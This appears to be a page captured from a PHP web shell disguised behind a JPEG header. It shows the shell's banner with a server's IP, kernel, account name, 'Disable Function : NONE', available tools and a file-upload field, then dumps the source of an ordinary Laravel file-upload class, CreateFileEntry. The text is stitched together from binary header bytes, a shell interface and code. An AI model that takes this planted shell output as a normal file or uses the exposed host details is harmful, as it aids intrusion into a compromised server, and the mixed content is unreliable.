����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.22.242.214 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/common/Files/Actions/ |
Upload File : |
<?php namespace Common\Files\Actions; use App\User; use Auth; use Common\Files\Events\FileEntryCreated; use Common\Files\FileEntry; use Common\Workspaces\ActiveWorkspace; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\UploadedFile; use Arr; use Str; class CreateFileEntry { /** * @var FileEntry */ private $entry; /** * @param FileEntry $entry */ public function __construct(FileEntry $entry) { $this->entry = $entry; } /** * @param UploadedFile|array $fileOrData * @param $extra * @return FileEntry */ public function execute($fileOrData, $extra) { if (is_array($fileOrData)) { $data = Arr::except($fileOrData, ['contents']); } else { $data = app(UploadedFileToArray::class)->execute($fileOrData); } // merge extra data specified by user $userId = Arr::get($extra, 'userId', Auth::id()); $data = array_merge($data, [ 'parent_id' => Arr::get($extra, 'parentId'), 'disk_prefix' => Arr::get($extra, 'diskPrefix'), 'public' => !!Arr::get($extra, 'diskPrefix'), 'owner_id' => $userId, ]); // public files will be stored with extension if ($data['public']) { $data['file_name'] = $data['file_name'] . '.' . $data['extension']; } $relativePath = Arr::get($extra, 'relativePath'); $entries = new Collection(); // uploading a folder if ($relativePath && !$data['public']) { $path = $this->createPath($relativePath, $data['parent_id'], $userId); $parent = $path['allParents']->last(); if ($path['allParents']->isNotEmpty()) { $entries = $entries->merge($path['allParents']); $data['parent_id'] = $parent->id; } } $fileEntry = $this->entry->create($data); if ( ! Arr::get($data, 'public')) { $fileEntry->generatePath(); } $entries = $entries->push($fileEntry); $entryIds = $entries->mapWithKeys(function($entry) { return [$entry->id => ['owner' => 1]]; })->toArray(); User::find($userId)->entries()->syncWithoutDetaching($entryIds); if (isset($path['newlyCreated'])) { $path['newlyCreated']->each(function(FileEntry $entry) { // make sure new folder gets attached to all // users who have access to the parent folder event(new FileEntryCreated($entry)); }); } if (isset($parent) && $parent) { $fileEntry->setRelation('parent', $parent); } else { $fileEntry->load('parent'); } $entries->load('users'); $fileEntry->setAttribute('all_parents', $path['allParents'] ?? []); // prevent eloquent trying to save "all_parents" into database $fileEntry->syncOriginalAttribute('all_parents'); return $fileEntry; } /** * @param string $path * @param integer|null $parentId * @param integer $userId * @return array */ private function createPath($path, $parentId, $userId) { $newlyCreated = collect(); // remove file name from path and split into folder names $path = collect(explode('/', dirname($path)))->filter(); if ($path->isEmpty()) return $path; $allParents = $path->reduce(function($parents, $name) use($parentId, $userId, $newlyCreated) { if ( ! $parents) $parents = collect(); $parent = $parents->last(); $values = [ 'type' => 'folder', 'name' => $name, 'file_name' => $name, 'parent_id' => $parent ? $parent->id : $parentId, 'workspace_id' => app(ActiveWorkspace::class)->id, ]; // check if user already has a folder with that name and parent $folder = $this->entry->where($values) ->whereUser($userId) ->first(); if ( ! $folder) { $folder = $this->entry->create($values); $folder->generatePath(); $newlyCreated->push($folder); } return $parents->push($folder); }); return ['allParents' => $allParents, 'newlyCreated' => $newlyCreated]; } }